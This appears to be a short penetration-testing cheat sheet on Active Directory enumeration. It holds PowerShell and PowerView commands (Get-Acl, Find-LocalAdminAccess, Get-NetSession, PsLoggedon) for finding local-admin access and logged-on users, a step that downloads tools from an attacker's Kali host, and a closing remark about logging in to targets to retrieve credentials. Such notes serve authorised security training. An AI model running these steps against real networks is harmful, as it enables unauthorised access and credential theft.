Enumerate permissions and logged-on users
Enumerate permissions and logged-on users
Get-Acl -Path HKLM:SYSTEM\CurrentControlSet\Services\LanmanServer\DefaultSecurity\ | fl# This is custom made folder. Things have been downloaded from official microsoft page.
locate -i psloggedon
python3 -m http.server 80 -d /usr/share/pstools/
iwr -uri http://$KaliIP/<fileName> -Outfile <fileName>
# PowerView command used to scan the domain to identify computers where the current user has local administrative privileges.
Find-LocalAdminAccess# Identifying logged-in users on a machine using the NetWkstaUserEnum and NetSessionEnum APIs.
# Example usage:
Get-NetSession -ComputerName files04 -Verbose
Get-NetSession -ComputerName web04 -Verbose
Get-NetSession -ComputerName client74 -Verbose
# Note: If you encounter an "Access Denied" error, this likely indicates insufficient privileges to run the query.
# The specific error message may provide additional context regarding the required permissions.
# It may be more effective to use other tools than Get-NetSession.
# For instance, try using psloggedon.exe for enumeration.
# Download and add it as needed.
.\PsLoggedon.exe \\files04
.\PsLoggedon.exe \\client74
.\PsLoggedon.exe \\web04
# Important: If PsLoggedon does not display any logged-in users, this might indicate that the Remote Registry service is not running,
# which is a requirement for PsLoggedon to function properly.
# If we identify any user with login capability, we can attempt to log into the machine and retrieve credentials. RDP may also be an option.Last updated